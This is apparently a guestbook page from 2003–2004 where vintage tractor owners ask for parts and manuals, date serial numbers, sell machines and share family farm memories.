GARY VAN SCYOC wrote on Tuesday, January 20, 2004 (PST):I BOUGHT A F-12 LAST YEAR AND HAVE GOT THE MAGNETO CHARGED AND CHECKED OUT. I STILL HAVEN'T GOTTEN IT RUNNING, I HAVE FIRE BUT NO GO . I SUSPECT THE MANIFOLD IS FAULTY AND POSSIBLY THE CARB. ALSO. ANY OF YOU OLDER FELLAS HAVE ANY ADVICE?
Sterling wrote on Tuesday, January 20, 2004 (PST):I would like to purchase a snow plow for a L.A jOHN Deere.Should be in fair condition with all assembly parts.Please E-mail w/ price.
Owen Blackman wrote on Sunday, January 18, 2004 (PST):I just bought a Farmall Cub and was told it was a 1949. I have been looking at 1949' and I have found that ALL of the exhausts were through the hood. The one I bought has a pipe that turns down and out to the back. The tractor does not have any rust or dents in any of the sheetmetal,fenders or wheels. It smokes though. I gave $1,600 for it and several IH Cub implements. I am wanting to find out how to identify it and find some manuals.I can send photos If someone wants to help.Thank you,Owen please email direct to orjb at texasisp.com ( I may not be able to find this site again. I am also want to find the Farmall discussion site) ALL help appreciated!
Sam Seaton wrote on Saturday, January 17, 2004 (PST): I used a G-706 with propane fuel and front wheel assist from 1970 till 1979 pulling 6-18 inch oliver plow also pulled an 18 foot wing disk. Great tractor. Still is! We only show it at county fair shows now. Only real draw back was it does not turn real sharp, no PTO, and propane tank is a little small, but a REAL WORK HORSE!
jay fuller wrote on Friday, January 16, 2004 (PST):i am looking for a cub to buy.wont matter if it needs some work as long as it runs good.some where close to ny. pa.thanks
Andy from Ohio wrote on Friday, January 16, 2004 (PST): I have an 8n with a flat head6 conversion I use it everyday on the farm. I have one problem that is the radiator is starting to leak. The local rad. shop says it is to bad of shape to fix, and no one around here knows where to get one. If you could help me I would appreciate it. Thank you
John Seamann wrote on Thursday, January 15, 2004 (PST):I found a VAIW that was used for moving snow in Nebraska. I am trying to buy it for my collection.
David Ballard wrote on Thursday, January 15, 2004 (PST):Like to buy an IH Farmall B. I would like to find one within a day's travel of Ft Worth, TX, but am willing to go further if I have to. Please email me if you have one or know of someone who has one.
Eric wrote on Monday, January 12, 2004 (PST): I just recently purchesed a 39 F-20 and i would like to know the serial #'s of any one elsees mine is FA 114406
Richard Vinson wrote on Monday, January 12, 2004 (PST):My son and I are restoring a 1953 44D that is missing the injector pump assembly. Can anyone help us find any or all of the Injestor pump assy? It was my father-in-laws and his dad's so it would be great to get the old gal pullin, and showing.
warren wrote on Sunday, January 11, 2004 (PST):I have a mh 44D that i need a injector pump for; i am restoring this tractor so the pump is a PSB pump with the governor on the pump. anybody help would be appreciated very much. phone; 704-753-1624 thanks!
steven wrote on Friday, January 09, 2004 (PST):Hello,very interesting issues on the massey"s.I have 2 massey 97"s one that does run excellant and has a minnitoba cab on it.i parked it about 3 years ago and put a battery in it this past summer,give it a shot of ether and it fired right up.I thinkthese were famous for having to use a little sniff of ether.any ways i would like to sell it if any one is interested as all it needs is tires,as the ones on it are in pretty rough shape other than that the tin and the rest of the unit are good.i would include the other 97 with it.it was running when parked about 10 years ago.any ways this is a excellant site.thankyou and enjoy your MASSEY"S
Henry Bliss wrote on Friday, January 09, 2004 (PST): I have A series 1 D17 Deisel, I bought about 4 years ago and I am thinking of selling,has near new 8 ply tires.The tractor runs good,could use new brakes.Has the after market 3 pt.I am going to ask 3500.00.I live in southwest MO.
kenneth kracht wrote on Thursday, January 08, 2004 (PST):Ihave aford with a funk change over to a flat head 6 cyl. Runs good what is it worth.
Ted Sterling wrote on Thursday, January 08, 2004 (PST):I have 2 AC G's for sale good condition. two row plate planter, cultivator, sicle bar mower and PTO. Located in Iowa. Call 515-232-1930. Ask for Ted or Peggy.
Lisa Haag wrote on Thursday, January 08, 2004 (PST):I got a Cub from my Uncle, and serial number plate is rusted off, how can I find what year it is? Also, I would like to find sickle mower for it if anyone close to S.C. has one that will fit. Thanks for your help.
guillermo manuel schdl wrote on Wednesday, January 07, 2004 (PST): Hi ,I have a farmall cub 48 , and I need information for this trarctor, for example handbooks,stickers,and pictures for this model of tractor. please mail me . Im from Argentine. --------------------------------------------------------------------------------
ralph tarter wrote on Tuesday, January 06, 2004 (PST):i need a 3 point hitch for my vai 1953 case. thinks help ralph
guillermo Schdl wrote on Tuesday, January 06, 2004 (PST):Hola , poseo un tractor international-Harvester. Lo estoy restaurando , y quiero saver en que precio se puede cotizar en el mercado.
Clark Weaver wrote on Monday, January 05, 2004 (PST):I acquired a 1944 Oliver 70RC from a close friend. I was able to get it running after more than 20 years of sitting and am now interested in "restoring" it. Unfortunately, it was a loader tractor and saw a lot of use. The grill and radiator "shell" have been severely altered by things falling from the bucket. Is there anyone out there that might have a clean radiator shell, grill and center strip for sale. I'm on the fence as to whether to restore this tractor and these few sheet metal pieces may be what it takes to push me over the edge. Thanks in advance.
Stu wrote on Monday, January 05, 2004 (PST):I have a 1941 Farmall Cub. I am looking for a log splitter attachment. It has the secondary shaft behind the seat that works great. I was told there are splitters that can be adapted. Does anyone have any thoughts? Thanks!
Dan wrote on Saturday, January 03, 2004 (PST):Trying to convert a 1951 Cub w/o voltage regulator to a 1951 Cub w/voltage regulator..... According to the service manual, I have the wiring right; but have lost the spark to the plugs. Any help from someone with any experience, knowledge, ideas, and/or "guesses" as how to resolve this problem would be greatly appreciated. Thanks, Dan
carol wrote on Thursday, January 01, 2004 (PST):I am looking for a power steering pump and resivour for an AC 160 tractor. my dads went to a repair shop never to be seen again, and I'm trying to get it going for him.
james wrote on Tuesday, December 30, 2003 (PST):Need a good parts resource for farmall regular parts.Who would this be?
Steve White wrote on Monday, December 29, 2003 (PST):My Dad recently passed away and has a MM Z high clearance nursery modified done by Kromer in Minneapolis. We would like to sell it. It's in NW Iowa. Anyone interested?
Henry Hahn wrote on Monday, December 29, 2003 (PST):S/N and model number are steel stamped close to the bottom of dash below gages
Bruce Miller wrote on Monday, December 29, 2003 (PST):The farmall super A Hi clearance tractor would be great for my large market garden We have lots of big equipment ,but a dedicated precision tool for cultivating ,set at one row spacing for most crops would save a lot of time setting up cultivators. Can these old tractors handle the steady work? Are parts hard to get?Which model is considered the most dependable? How can I find one in BRitish Columbia Canada? Thanks Bruce MIller Pemberton BC Canada
Michael Reuter wrote on Monday, December 29, 2003 (PST):I am looking for parts & service manuals for a 1950 Case DI
TAMMERA BRUMLEY wrote on Sunday, December 28, 2003 (PST):I HAVE A 1937 F20 TRACTOR THAT HAS BEEN COMPLETELY RESTORED. WILL SELL IF THE PRICE IS RIGHT.
Rick Reeves wrote on Sunday, December 28, 2003 (PST):I have a picture of my dad and his tractor, pix. dated summer 1941. Some have told me it is a Farmall F-20 but I'd like to get some expert opinions. I can send the picture JPG if I have an address
Lindsay Waite wrote on Sunday, December 28, 2003 (PST):We have a 28-44 serial #508245. As far as I can find out it is a 1938 model. It was left to my grandfather by a family friend and both have passed on. On this web site it is listed as an Oliver Hart Parr. However, ours has a large Cockshutt cast into the rad with a smaller Hart Parr underneath it. The tag on the side of the engine block calls it an Oliver. Is this right or has the rad come off a newer model?
Ron Young wrote on Sunday, December 28, 2003 (PST):In search of L or LA John Deere for sale in Alabama.
Wayne Hart wrote on Saturday, December 27, 2003 (PST):I have a VAO for sale, It runs great, rebuilt gear box, new radiator, converted to 12 volt, original hand crank, original owners manual and parts catalog, I'm asking 2000.00 firm it also has heavy rear wheel weights mounted and front end weights. My number is 559-645-4126 ask for wAYNE
Pat Cook wrote on Friday, December 26, 2003 (PST):I don't really know what I have. I know I have an old Oliver tractor with the #60 underneath the front grill, I'm pretty sure it is a late 40s/50s model. It is a 4 cylinder, with four wheels. It ran well about 5 years ago, but was in the process of being worked on when the mechanic took ill, now it is partially disassembled, missing the seat and starter. And it appears that the clutch plate has been removed... I'm trying to decide if I should try to have it restored or sell it... Any thoughts or comments as to it's value would be greatly appreciated... thanks pat
Karen Forehand wrote on Thursday, December 25, 2003 (PST):My husband and a friend are having a debate about the M or Super M white demonstrator model. I am looking for a picture of one if anyone stills has one! I have found one of a 1950 Super A but I specifically need an M or Super M Thanks!
Blane wrote on Wednesday, December 24, 2003 (PST):I have a very early 720 diesel that I use for anything that I can and I just bought another 720 diesel that is really late model and it has the fast transmission unlike the other tractor. There is some pictures in the october issue of Green magazine under "720 keeps busy". Right now I am buying cows and hope to buy or rent a farm in the near future.
ralph tarter wrote on Wednesday, December 24, 2003 (PST):1 selling my 1953 vai case real good shape with a l306 woods mower. all new tires no smoke 12 volt system new battery. all filters changed an oil reddy to go also wheel bearings pack.
Larry Dever wrote on Tuesday, December 23, 2003 (PST):I need information about the wheel color of a Farmall Cub SN 167939, front and back. The front ones are now an off white and the back ones are now off white arount the outside and red in the center. Is this the original colors?
ralph tarter wrote on Tuesday, December 23, 2003 (PST):i need a double control valve for my 1953 vai case thanks ralph
ron seaton wrote on Monday, December 22, 2003 (PST):i have a 48 it is mostly there need a carb and a rear hub if i cant weld the keyway up every thing else is good would like apicture of one thanks ron
jason reeves wrote on Sunday, December 21, 2003 (PST):my dad pasted away and left me two massy 44 with lots of parts i spent lots of time on them thet are a really nice tracter
Dan Bierman wrote on Saturday, December 20, 2003 (PST):I'm looking at buying a 1955 300 utility, loader backhoe(Wagner). Can anyone tell me about a quick disconnect system for the backhoe, so that I can utilize 3 point equipment? Thanks
Ron Haddock wrote on Thursday, December 18, 2003 (PST):There was a kit available from the Ford Motor Company and a group that called their product "The Thiesen Tractor" My great Uncle had one in his barn for years. It had the Model T engine and drive train, but there were chain sprocket for the drive wheel hubs with chain drives to oversized tractor wheels below. I don't recall much about the frame or steering except that it resembled an F-20 and, of course, was all steel. Somebody bought it out of the shed probably 25 years ago, but I don't have any idea who it was.
jack wrote on Tuesday, December 16, 2003 (PST):Ihave a Cub Loboy with a belly mower, it throws the main drive belt when you raise the mower. Any ideas as what to do to correct this problem? If so E-mail to millerprss at aol.com
jeff wrote on Monday, December 15, 2003 (PST):whats a average price of a poney
LBH wrote on Sunday, December 14, 2003 (PST):WANTED; Looking for a John Deere L or John Deere LA tractor. Please email me if you have one for sale. Thanks, LBH
James Patton wrote on Friday, December 12, 2003 (PST):I would like to purchase an 8-16 or an F-14 does anyone know of any for sale? Condition doesn't matter much, just not trashed.
Joe wrote on Thursday, December 11, 2003 (PST):I have a Massey Harris 44-GS with a frontend loader on it. I would like to sell it for parts. Do you know where or who I could deal with?
Ray Stroope wrote on Wednesday, December 10, 2003 (PST):I am new to old tractors. I own a 1941 jd b and a 1952 JD R.I am restoring the B right now.All it really needed was a good sandblasting and paint.As soon as i finish the B the R is going into the shop for sheet metal repair sandblasting and paint.I had to repair the pony motor trans and the tractor runs great.I think the R is an awsome machine. I can hardly wait to take it to town to show it off!! One thing i do need from you guys is a tire for it. The size is 18-26 Good year rice and cane.Would also consider 18.4-26 regular tractor tires if I could get two of them for a fair price.Thanks tractor guys.
Duane Hagen wrote on Wednesday, December 10, 2003 (PST):I have a couple of SD3's and need repair or parts manuel for engine. Will be having spare parts or tractor.
Don Hagen wrote on Wednesday, December 10, 2003 (PST):Have a FULLY Restored 1948 WD-45 wide front ,gas. A beautiful little lady!!!!!!!!!
benito cortina wrote on Monday, December 08, 2003 (PST):Have 1950 Farmall c, Need oil capacities and wiring diagram
tom moses wrote on Sunday, December 07, 2003 (PST):might say i was raised on the f12&f14 my grand father and father and uncle got anew f14 be fore the war i was born in42 and can rember draging field .for planting at the age of 7or 8yrs old and the on till iwent out on my own at the age of 21yrs old .of course we had a f12 with a walkshaw engine untillsome one forgot to drain water. they would pull a two bottom little genius plow in second gear on levelsand or gravel ground . even had a f-30 good for plowing and eating gasoline but nothing else ,even had a open geard regular orchard type with a over drive trans idle on the road at 25mph on belt it would make a bus saw blade looklike it was standing still too dangerious got rid of it for 300dollars and a jug of hard cider still havent figured who got the better of that one .as far as wheel interchange goes ---f14wheel fit a,M-- f12 wheels fit a,H too find 40inch tires try gemplers Tel.1-800-382-8473or on net-www.gemplers.com also in closing you should try and find either f12--f14 with cultivators mounted on steelwheels or rubber- steering highly accurate-on these tractors in closing dont run either one of these tractors through a nest of ground bees as they are so fast you might think you can out run bees guess agin and wrap your thum around the crank on top and not under it experence is the best teacher
Carl wrote on Saturday, December 06, 2003 (PST):I work as a mechanic and it seems to me the IH boys do not remember about the -o- ring on the sleeves that go bad .Or the PTO engagement that breaks,just a little pin that needs replaceing. Can you IH guys spell?
Larry Laubach wrote on Saturday, December 06, 2003 (PST):I have a 99 (1951)with PTO in good running order and a 1936 28-44 with a frozen engine. The 28-44 was the tractor I ran as a child and it would put other tractors to shame. Would like to sell both as a package.
Mike Case wrote on Friday, December 05, 2003 (PST):I just bought a cockshutt 30 and was wondering if the serial # for the tractor was on the engine block or do I look elsewhere....there are 3 different stamped numbers on a tag affixed to the engine.
sam wrote on Friday, December 05, 2003 (PST):54 ac G, new rubber, tire chains, complete overhaul, garden plow, snow plow, cultivator, sickle bar, many original manuals, shed kept since new!!! for sale. central PA.
dennis l shaffer wrote on Wednesday, December 03, 2003 (PST):just bought some land that came with 2 what i belive are f 20s one has a mounted picker and looks to be intact any ideas of what they are worth locatedin eastern iowa
goober wrote on Tuesday, December 02, 2003 (PST):To Billy Ray,about no spark,if tractor has magneto ignition,check magneto timing,points,and rotor.If tractor has distributor ignition,check points ,rotor,and condensor.I have good luck with Champion plugs #D15 or 16,gap them at about .026 Questions?shoot me an email goober
Maria Haaby wrote on Sunday, November 30, 2003 (PST):I have a McCormick Deering T-20 listed on ebay. To see it go to cgi.msn.ebay.com/ws/eBayISAPI.dll?ViewItem&item=2577550655&ssPageName=ADME;B;LC;US;1 Is anyone able to give us information on the year of this crawler? Serial # ST 7871
Tammy Wilson wrote on Friday, November 28, 2003 (PST):My husband loves Farmall,and Case IH tractors. He owns a Farmall Super M that he is wanting to restore. In August, of this year, we had a son.We decided to decorate his Nursery in Farmall and Case IH. Now, he is going to wait and restore it with our son. Then when he is old enough, he will give it to him. Now that I am surrounded by Farmalls;I have grown to love those tractors,too!
William wrote on Friday, November 28, 2003 (PST):I have a Farmall-M and i have a log cart to go with it for logging.If anyone else has something like this please email me.
Ronald Moss wrote on Thursday, November 27, 2003 (PST):My father-in-law left me a 1955 Z which he had bought from my dad. My dad bought it new. It runs good. I would like to paint it and put new decals on it. Where can you get parts, paint etc.
rob nickel wrote on Wednesday, November 26, 2003 (PST): Dad had a D of similar vintage but on steel, which sat on the old family farm for many year's. A good friend of his helped us to get it going again after Dad passed away, and this gentelman celebrated his 80'th birthday by driving this old D in our towns centennial celebration, that same year. Thank's again Mr J.Fehr Plum Coulee Manitoba Canada, for all the help and support to our family. And mostly for being the true friend you always were, to our Dad. What you did for us in the summer of 2001 will always be remembered, and anyone of us living could count ourselve's very fortunate indeed to have just one true friend such as you John.
rob nickel wrote on Wednesday, November 26, 2003 (PST): Beautiful tractor Bruce. My Dad had a G that unfortunately we had to part with when our family was forced to auction off the family farm two years ago. And man what a powerhouse that old girl was? A neighbor friend of my Dad's before he passed away, came to lend a hand while preparing for this auction, and I'll never forget the thrill we all shared on the day when he'd finally managed to get the old popper running again. That G could climb hill's from a standing start in sixth gear, as this gentelman demonstrated to us that day. And it sure would have done Dad's heart proud to have been with us to experiance what we did when his old G fired up and moved under it's own power once more. Sleep well Dad and remember we love you and miss you so much each and every day.
Don Hanes wrote on Tuesday, November 25, 2003 (PST):I HAVE A 1942 B MODEL ALLIS THAT MY FATHER-IN-LAW BOUGHT NEW FOR $450.00. I HAVE THE ORIGINAL BILL OF SALE. HE REMOVED THE MAGNETO, AND PUT ON A DISTRIBUTOR AND BATTERY. I HAVE THE ORIG MAGNETO. I NEED TO FIND SOMEBODY IN NORTH IDAHO, EASTERN WASHINGTON, OR WESTERN MONTANA WHO CAN GIVE ME SOME ADVICE ON OVERHAULING THIS TRACTOR, ALSO WHAT OILS ARE USED IN THE ENGINE, REAR END, ETC. THE TRACTOR RUNS GOOD , AND I AM CURRENTLY USING IT TO PLOW SNOW FROM MY DRIVEWAY. I HAVE MANY ATTACHMENTS, PLOW , CULTIVATORS,ETC. MY FATHER-IN-LAW MADE THE SNOW PLOW. SIX FOOT WIDE, TWO FOOT HIGH BLADE. WORKS GOOD. PLEASE GIVE ME SOME INFO...THANKS........
Merv Hilliam.......N..Z.. wrote on Monday, November 24, 2003 (PST):Hi there, I have just brought home to the our farm the old Farmall-20 [red] that my Uncle had on this farm when I was a Kid and used to come out here for school holidays. I took over my Uncle,s farm in 6th Feb..1969 and I let it go to a Bloke who was colecting old tractors. I did not know at that stage that I would regret it in years to come. I happened to go to this blokes farm 20-10-03 and saw it in the shed, I reconised it straight away and said it was comming home with me. I rang the asbsent owner that night and said I wanted to Buy it back.....He said O.K.and we agreed on a price of $500-00nz.dollars. He paid $50-00 for it. So I have to get to work and free it up and get it going again...I am so HAPPY to bring it Home on the Dairy Farm as my family has been here scince 1889year.
WILLARD STREET wrote on Monday, November 24, 2003 (PST):I AM LOOKING FOR A OIL PUMP FOR A 1948 CUB NEW ARE USED I WOULD ALSO LIKE REPAIR AND PARTS MANUAL
Dwight Giles wrote on Monday, November 24, 2003 (PST):I have a 1934-35? T-20 that I have been working on for about five years. Engine is done, transmission through steering clutches gone through, presently working on left side final drive and undercarriage. I am, however, confused by the serial number, 2772 HA/5, on the engine which would indicate a 1934 TracTracTor with engine component casting dates of 3-22-C and 6-8-C which would indicate 1933 castings. The problem is that the casting dates on the frame and gear cast housing are 7-29-35 and 4-26-35 indicating parts cast in 1935. The serial number plate was missing on this TracTracTor. Any comparisons of other T-20 serial number and casting dates would be appreciated.
glenn bryant wrote on Monday, November 24, 2003 (PST):I have a 1947 8n, and would like to find a front end loader for it, or optionally plans for constructing same. Can anyone out there help? Thanks
Kerry Wagner wrote on Sunday, November 23, 2003 (PST):I just bought an 841 with the ELENCO 4wd setup and a Sherman 12-speed transmission. It also has a Ford loader on it. I'm gonna restore it. Anybody know where I can get info on the ELENCO front end and the Sherman transmission? Thanks.
Nick Thieme wrote on Sunday, November 23, 2003 (PST):My dad,my brother,and I own several masseys. some of the models we own are 20,22,30,33g,33d,44g,44d,44special,55,&81. i plan on working on them when i get back from this deployment to iraq. some are running. some are not.
melanie lanzarotta wrote on Saturday, November 22, 2003 (PST):My husband and I are the owners of 'OLE PUFF'. I would like to ask the person who took this picture to contact me. I am cuirous as to when it was taken. I believe it had to have been 2003 because of the papers (information on the engine) hanging off the front flag holder. Please let me know if you email please put steam in the title/subject area so that i do not mistake and delete your email. thank you, melanie lanzarotta
Patricik J. Walsh wrote on Wednesday, November 19, 2003 (PST):My family has owned what I think to be a farmall Club since 1972. Although it has been garaged for thirty-one years it has not been running for approximatly 10-12 years. Does anyone know how I may contact someone to give me a price to get it running and clean it up in Connecticut??
Martin Cummings wrote on Wednesday, November 19, 2003 (PST):I have a 1949 Farmall M in Martinsburg, WV. It runs well but needs muffler, brakes and paint. I am looking for someone to restore it. Help! Thanks...
bill lundstrom wrote on Tuesday, November 18, 2003 (PST):Hi. I love this tractor. I have one of my own, a 49 issue. I have a question regarding fire. have new plugs, and new wires, but cannot get the machine to fire at all. any suggesive hints. and what would be the best plug to run in it, I use this mostly for mowing weeds and parades. thankyou Billy Ray
Paul J. Diemer wrote on Monday, November 17, 2003 (PST):My Father and my uncle bought a a new Oliver 70 Rowcrop in 1947. I was 14 years old at the time. On Sunday afternoons it was my transporrtaion to the Elementary school baseball diamond where all the farm kids gathered to practice for the local baseball team. This was in Lenox toenship, Ashtabula county Ohio. The tractor spent many years tilling the soil and hauling in the grain and running our threshing machine on our 189 acre dairy farm.
Shade wrote on Monday, November 17, 2003 (PST):hi! My father bought one used in 1968 it has ben on the farm since and it runs like clock work! I think it`s a 1952 model -Emil from Norway
Jim wrote on Sunday, November 16, 2003 (PST):Have a 46 MH 81 RC. What's the difference between an RC and a STD.
john doe wrote on Sunday, November 16, 2003 (PST):my buddy has a 1949 allis chalmers wd and i am looking for parts for him. I have lokked on several sites and have only found distributors. I need to find a magneto for it but cant find 1. Any1 out know where i can?
Rick Downing wrote on Saturday, November 15, 2003 (PST):I just bought a 8n and really need a wiring diagram . I am not getting any spark at the plugs. Not sure of where the ignition wires go and the wire to the dist in front. Any idea where I can find this.
Jim Nickeson wrote on Friday, November 14, 2003 (PST):I am looking for a Super A that is restored or in excellent condition to be restored. A location in the upper midwest would be great.
Beth Harris wrote on Wednesday, November 12, 2003 (PST):my father-in-law was just given a JD2010 this past week that was garage kept and still has the manufactured paint on it I never knew a old tractor could look so good but JD are biult to last
Don Etnier wrote on Tuesday, November 11, 2003 (PST):Several people said they're looking for a MM serial number vs. year chart....go to; www.ytmag.com/cgi-bin/snlookup.cgi?=MM&md=U+and+UT ...good luck!
gary elliott 256-355-7987 wrote on Tuesday, November 11, 2003 (PST):i have farmall cub 47or48 model infather shed he has pass want to sell no acess. 2500.00 was running been sitting shed don,t much about it
Sean wrote on Tuesday, November 11, 2003 (PST):Eguene The Farmall Cub production was started in 1947. But if you the grill that has just a metal fence It looks like the A that was produced in the early years. But parts are avaible at your IH dealer Vavule tractor, and yt store.
Fred Keith wrote on Monday, November 10, 2003 (PST):My dad had a couple of MD's when I was growing up on the farm. They were nice running tractors and I prefer to run them over the ones. Started excellent in warm weather. In cold weather it was best keep them heated or not use them. I don't remember starting good below 50 degrees. Cold weather use tend to give them a lot more head gasket problems. In cold weather we usally pulled started them to help save starters and batteries. I think most of the hours we put on them was running the sawmill we had on the farm. They seem to run all day on 5 gal. on the mill and take 3 gal. per hour in the field. When my dad had the injection pumps rebuilt, put on a dyno and adjusted, the max hp was that could be acheived was 46. He had them set back to 44 to keep them from being over fueled. The engines were 4" bore and in excellent shape. Standard bore for these tractor was 3 7/8". My bought the first in 1957 used and rebuilt it twice before he sold it at auction in 1995. The second one he bought in 1966 and rebuilt it once and sold it in the auction also. They are both still running and I still see them ocationally. We both still both each own a gasoline model M and a model A.
LUIS EMILIO VARGAS wrote on Sunday, November 09, 2003 (PST):SOY DE MENDOZA, ARGESNTINA Y TENGO UN TRACTOR HART PARR 18-36 DEL AO 1929, PARA RESTAURAR
LENNY HAYES wrote on Sunday, November 09, 2003 (PST):I'M CURRENTLY LOOKING TO PURCHASE A 1953 MODEL 34 DOES ANYONE KNOW IF A 3 POINT HITCH IS AVAILABLE FOR SUCH A TRACTOR, AND IF IT IS WORTH 800.00 IN GOOD CONDITION- NO BRAKES
rob wrote on Saturday, November 08, 2003 (PST):my dad has a farmall 450 that is being rebulit,he needs a good cylinder head,can be bare.where can he find one? thanks,rob
Patrick wrote on Thursday, November 06, 2003 (PST):I am restoring a AC "WM" Crawler wide track. It has the same motor as the "M" crawler or "U" tractor. I need a piston, ring set, 2 exhaust valves, engine gaskets, manifold gaskets, spark plugs and varius other parts including decals. Can anyone help me? The crawler is a "WM", Ser. 4622. Iam told it is 1937 vintage.
c.edwins wrote on Wednesday, November 05, 2003 (PST):robert kramer,the number you posted is the cylinder block number,,look above this to find the cast date,, example.....8.26.R Q=1947 R=1948 S=1949 T=1950 1951 USED U ANDW X=1952 Y=1953 Z= 1954 A=1955 B=1956 C=1957 D=1958 E=1959 F=1960 AND SO ON.....REMEMBER THAT THIS IS THE CAST DATE AND NOT NECESSARILY THE YEAR MODEL.
Dave Hoff wrote on Tuesday, November 04, 2003 (PST):Anyone familiar with the Ferg. 40. Originally cream colored, it had MHF markings on castings and was repainted MF red & bronze. (I assume it made about the time of marriage with Massey. Served me well and recently sold it at auction.
Jimbob wrote on Tuesday, November 04, 2003 (PST):My old Dad used to own one of these tractors. In the depression he sold it for a banana and a loaf of bread.I found it not longago and bought it.
e wrote on Tuesday, November 04, 2003 (PST):gnya
Gord wrote on Tuesday, November 04, 2003 (PST):I have a 1964 D10 that I am working on and would like to find the original paint color for the rims. Also were the rear outer rims a different color from the center? Please help.
Matt D. wrote on Tuesday, November 04, 2003 (PST):I'm 15, and restoring a 1947 Oliver 70 rowcrop. On our farm we only have Massey's, but the Oliver is the right kind of green. I don't have e-mail
JimBroughton wrote on Monday, November 03, 2003 (PST):Joel; Your tractor is a 1964 model,about mid-year,I think.... As for worth, out here in the west it would bring about $2500.00 in good condition, maybe a little more with all of those implements!! LOL...Jim
Joe Klaudi wrote on Monday, November 03, 2003 (PST):I have an old Oliver Super 55 that sat idle for years and I was just reciently able to get the gear box repaired. I replaced most of the bearings and seals and am in the process of repairing a crack (freeze damage) in the hydraulic resevior. I have always wanted a Ford 8 or 9 N but settled for this old boy and now I am glad I did. Anyone looking for parts should try Tom at Farmersville Equiptment in Ephrata Pa, 1-717-354-2150. He has the largest selection of Oliver parts new & used that I have found. Good luck...
Don wrote on Sunday, November 02, 2003 (PST):Yesterday 11-2-03 i bought a 1949 case Va series with a front end loader. she needs a little work. Im looking for Fenders and any other sheet metal for her any sources for used parts?
David wrote on Sunday, November 02, 2003 (PST):We have a F14 that is either a 38 or 39. We bought it fromthe orginal owners son six months ago. He has the bill of sale but wouldn't part with it. We were told that front tires are orginal and the rear tires are new, replaced in the 50's. It has been kept inside thru its life inside when not working and turns on the first crank. He said they debated on spending the extra $8.00 for rubber instead or steel. We were wondering if anyone knew about what the value of this tractor would be. We also have what we think is a b275? It is supposed to be an enlish ford international. does anyone know anything about them or have a picture. thanks
Dick Hileman wrote on Sunday, November 02, 2003 (PST):I am interested in buying a Farmall Cub in good operating condition and looking good. I would like a grader blade and a rear PTO driven flail type mower. Prefer western US but could pick up anywhere.
Roger Ritchison wrote on Friday, October 31, 2003 (PST):In 1970, my dad purchased a 1951 Minnie-Mo ZA to plant and cultivate with. This was the first tractor I learned to drive. Once, it broke the cooling fan bracket and let the fan gouge into the radiator,which was repairable, but left a large scar in the radiator. He sold it in 1976 to a neighbor, and it bounced around the neighborhood for a few years before disappearing. Then, last winter, my dad and I were taking a drive about 40 miles from home, when we saw a beautifully restored ZA for sale on a used equipment dealers lot. We stopped for a look. My dad, half jokingly, said,"I wonder if this is my old Minnie. We looked at the radiator, and sure enough, there was the same scar from so long ago. Needless to say ,Old Minnie came back home to us, and sets proudly in our barn, but a little prettier than she used to be.
David Fincher wrote on Thursday, October 30, 2003 (PST): I would like to know about the mower mounted on the rear drawbar of the Farmall Regular tractor. What is model of the mower mounted? What is years on different style of the mower mounted? How many it made? Do you have collect any mowers? Don't about 25V or 27V mower (frame T and Tail wheel)David
Dave Cesan wrote on Thursday, October 30, 2003 (PST):I'm looking for a rear rim for a three wheeled Silver King. If it needs a little patching is OK. Thanks!
Landon Paulson wrote on Thursday, October 30, 2003 (PST):Hello again, I've been considering selling my 1946 D Leader It needs quite a bit of work, alongf with the original motor, nothing that cant be fixed with time and money, that of which being 15 i dont have, so, I've been thinking of letting some one who is capable of fully restoring it and giving it the atention it deserves the pleasure of owning it, this machine has been in the family for the last 57 years so its really hard for me to even consider to let it go, ill let it go if the price is right but im not in a cramp for money, so if it isnt ill just keep it cause it doesnt cost me anything to let it sit there and age. so my e-mail address is lpaulson7000 at hotmail.com i live in alberta canada and the tractor will be sold "as is where is" SERIOUS INQUIRES ONLY PLEASE. thanks for now bye.
mike.s wrote on Tuesday, October 28, 2003 (PST):I still use these in the feild.I have three row crop 44`s .Theystill run really nice even thoughIhave to work on them once in a while.I tractor pull with two of them.I them drove them when Iwas a kid to .
Al Truscott wrote on Monday, October 27, 2003 (PST):I have a Massey 44 Standard serial # 46477, that I still use, but it needs brake linings. Do you know where I can purchase these.
Jeff wrote on Sunday, October 26, 2003 (PST):I had a 1963 560 Diesel and I loved it, I worked it into the ground. I really relied on it and It never failed me once. I love this tractors and glad I bought one. I would love to own one again!
Nelson Hardy wrote on Sunday, October 26, 2003 (PST):1937 T-20 Awsome little crawler, I've got mine fitted with a 7 foot blade a great snow pusher . I have a good set of 16 inch track both sides of running gear some parts usable some not. also parts crawler no motor good contact for magneto parts also I have some misc. parts
Rick wrote on Sunday, October 26, 2003 (PST):It makes me sick to read some of this stuff.Some people should not even touch a Case tractor. My dog knows more than half these guys.
Earl Cox Sr. wrote on Saturday, October 25, 2003 (PDT):I have a 1950 Farmall M and I need a diagram of the wiring for the lights. The guy I bought it off of converted it from a 6 to a 12 volt and I don't think it did it right If any one has a diagram of the wiring if I could get it or some info on it. Thanks Also I'm looking for a 3-point hitch for it.
JOEL wrote on Thursday, October 23, 2003 (PDT):Have a yellow/white cub w/ 5' sickle mower,4 1/2' mid or front-mounted blade, 4' flail mower made by Mott, 2 row cultivator, 1 bottom plow, and a 1 row planter. Serial number 236561. Can anyone tell me how much this total package is worth and the year of the tractor? Tractor runs like a top and have used the blade and mowers several times and all of the attachments have been shedded.
Chad wrote on Thursday, October 23, 2003 (PDT):Have a 44 Special. What is the difference between the regular 44 and the 44 Special? How can I tell what year it was manufactured?
Robert L. Scheible 4179 BUCK MTN. ROAD Dover Ar 72837 wrote on Wednesday, October 22, 2003 (PDT):I just bought a farm from my neighbors complete with John Deere L tractor with mid mount mower,one bottom braking plow,cultivator, planter, and spring tooth field cultivator;adapted from M with books all very old and nummerous letters vintage (1940-1950)from JD regarding tractor and equip. I have removed wheels tofind neither back tire had ever had flat,what luck! I have found access to new 7.50x22" rear tires with F-1 firestone cross hatch tires. I had almost given up hope, does anyone need these tires? What is the value of all this? According to book this Herc was 9.9 h.p. Is this correct? I have found many new parts available still through J.D. seat, steering wheel, hub caps,etc
Rocky Blades wrote on Tuesday, October 21, 2003 (PDT):I have a Farmall M and H and I like them alot,they run very well. The M I bought and the H use to be my grandfathers, I also have a buzz saw I can use on both tractors. Thanks, Rocky Blades.
